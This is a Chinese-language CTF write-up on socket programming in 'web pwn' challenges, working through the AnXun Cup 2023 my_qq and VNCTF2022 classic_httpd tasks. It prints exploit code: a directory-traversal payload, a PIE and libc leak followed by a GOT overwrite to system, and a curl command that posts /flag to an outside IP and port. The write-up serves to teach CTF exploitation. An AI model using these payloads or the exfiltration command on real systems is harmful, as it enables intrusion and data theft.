关于web pwn中socket的理解
字数 1390 2025-08-22 12:22:24
Web PWN中Socket编程与漏洞利用详解
1. Socket基础概念
1.1 Socket基本理解
在Web PWN中,Socket(套接字)是网络通信的基础设施,可以理解为服务端和客户端之间的"中转站":
- 套接字描述符类似于文件描述符,可以使用read/write进行读写操作
- 与反弹shell不同,反弹shell创建套接字后直接connect即可
- 需要明确区分服务端和客户端的角色
1.2 Socket函数层级
socket()函数创建的套接字是整个通信过程的起点:
- 服务器端:用于监听连接请求的套接字
- 客户端:用于发起连接请求的套接字
后续操作会创建新的套接字:
accept():服务器端创建新套接字用于与特定客户端通信connect():客户端创建用于与服务器通信的套接字
2. 关键数据结构
2.1 sockaddr_in结构体
用于表示IPv4地址和端口,定义在<netinet/in.h>中:
struct sockaddr_in {
short sin_family; // 地址族,通常为AF_INET
unsigned short sin_port; // 16位端口号,网络字节序
struct in_addr sin_addr; // IPv4地址结构
char sin_zero[8]; // 填充字段,通常用0填充
};
2.2 in_addr结构体
用于表示IPv4地址:
struct in_addr {
in_addr_t s_addr; // 32位IPv4地址,网络字节序(big-endian)表示
};
3. Web PWN题目分析技巧
3.1 漏洞定位技巧
-
函数调用分析:
- 系统函数调用通常不是漏洞点
- 自定义函数中更容易存在漏洞
- 反复使用的函数通常不是漏洞函数
-
加密处理:
- 复杂的加解密处理通常可以略过
- 出题人一般不会在加密算法中设置漏洞
3.2 服务端交互过程
典型的安全通信过程:
-
交换公钥:
- 客户端和服务端交换公钥
- 客户端请求服务端公钥并发送自己的公钥
-
加密通信:
- 双方使用公钥加密技术加密通信内容
- 即使通信被拦截也无法解密(需要私钥)
4. 实战案例分析
4.1 安洵杯2023 my_qq
题目特点:
- 提供两个remote连接:服务端和accept得到的客户端
- 涉及知识:socket、网络交互、RSA/RC4密码、数据库操作
EXP关键点:
# 密钥处理
prkey = RSA.generate(2048, Random.new().read)
pbkey = prkey.public_key()
# 客户端连接
p = remote('47.108.206.43', 34284)
# 公钥交换
def exchange_public_key(p, pbkey):
s_pbkey = RSA.importKey(recvall(p))
p.send(pbkey.export_key('PEM'))
# 注册和登录
def register(p, name, pw_sha256_hash, pbkey):
p.send(b'no\x00\x00')
p.send(name.ljust(16, b'\x00') + pw_sha256_hash.ljust(64, b'?'))
exchange_public_key(p, pbkey)
# RC4加密会话
def session(p, rc4key, data, pad_to=0, extra=b''):
data = ARC4.new(rc4key).encrypt(data + b'\x00').hex().encode()
if pad_to:
data = data.ljust(pad_to, b'\x00')
data += extra
p.send(data)
4.2 VNCTF2022 classic_httpd
非预期解:
- 未检测目录穿越漏洞
- 关键payload:
b'POST /../flag\n\n'
预期解:
- 逆向分析结构体:
struct {
uint32_t
uint32_t type; // 操作类型
uint64_t addr1;
uint64_t addr2;
uint64_t addr3;
};
- type=0xf1: (addr1+addr2)=addr3 (chance<=2)
- type=0x88: 打印*(addr1+addr2) (chance<=1)
- type=0x66: *addr1<=4,可泄露PIE (chance=0)
- type=0x12: 无用
- type=0x22: addr1='ping',strlen(addr2)<=0xf,以%s打印addr2
- 利用步骤:
- 第一步泄露PIE
- 第二步泄露libc基址
- 第三步修改strcasecmp的GOT为system
EXP关键点:
# 泄露PIE基址
data = p32(1) + p32(0x66) + p64(4) + p64(0) + p64(0)
io.send(get_msg(data))
codebase = int16_ex(m[:14]) - 0x4070
# 泄露libc基址
data = p32(1) + p32(0x88) + p64(codebase) + p64(0x60c0) + p64(0)
io.send(get_msg(data))
libc_base = int16_ex(m[-15:-1]) - 0x1232c0
# 修改GOT并执行命令
systemaddr = libc_base + 0x055410
data = p32(2) + p32(0xf1) + p64(codebase) + p64(0x6048) + p64(systemaddr)
data += p32(0x22) + b"ping".ljust(8, b"\x00") + b'curl -X POST -F \"flag=@/flag\" 172.18.211.41:4444'
io.send(get_msg(data))
5. 实用技巧总结
-
网络编程相关:
- 注意accept会阻塞,可能需要多次remote连接
- 当前目录通常是htdocs,flag通常在根目录下
-
加密算法识别:
- 常见加密如base64(可能自定义但结构相似)
- 不必深究复杂加密算法,通常不是漏洞点
-
交互细节:
- 注意输入终止符(如\n)
- 确保发送和接收的数据格式匹配
-
漏洞利用:
- 优先检查自定义函数中的内存操作
- 注意结构体操作和类型转换
- 利用格式化字符串等常见漏洞
通过深入理解Socket编程原理和掌握这些实战技巧,可以更有效地分析和解决Web PWN中的网络相关题目。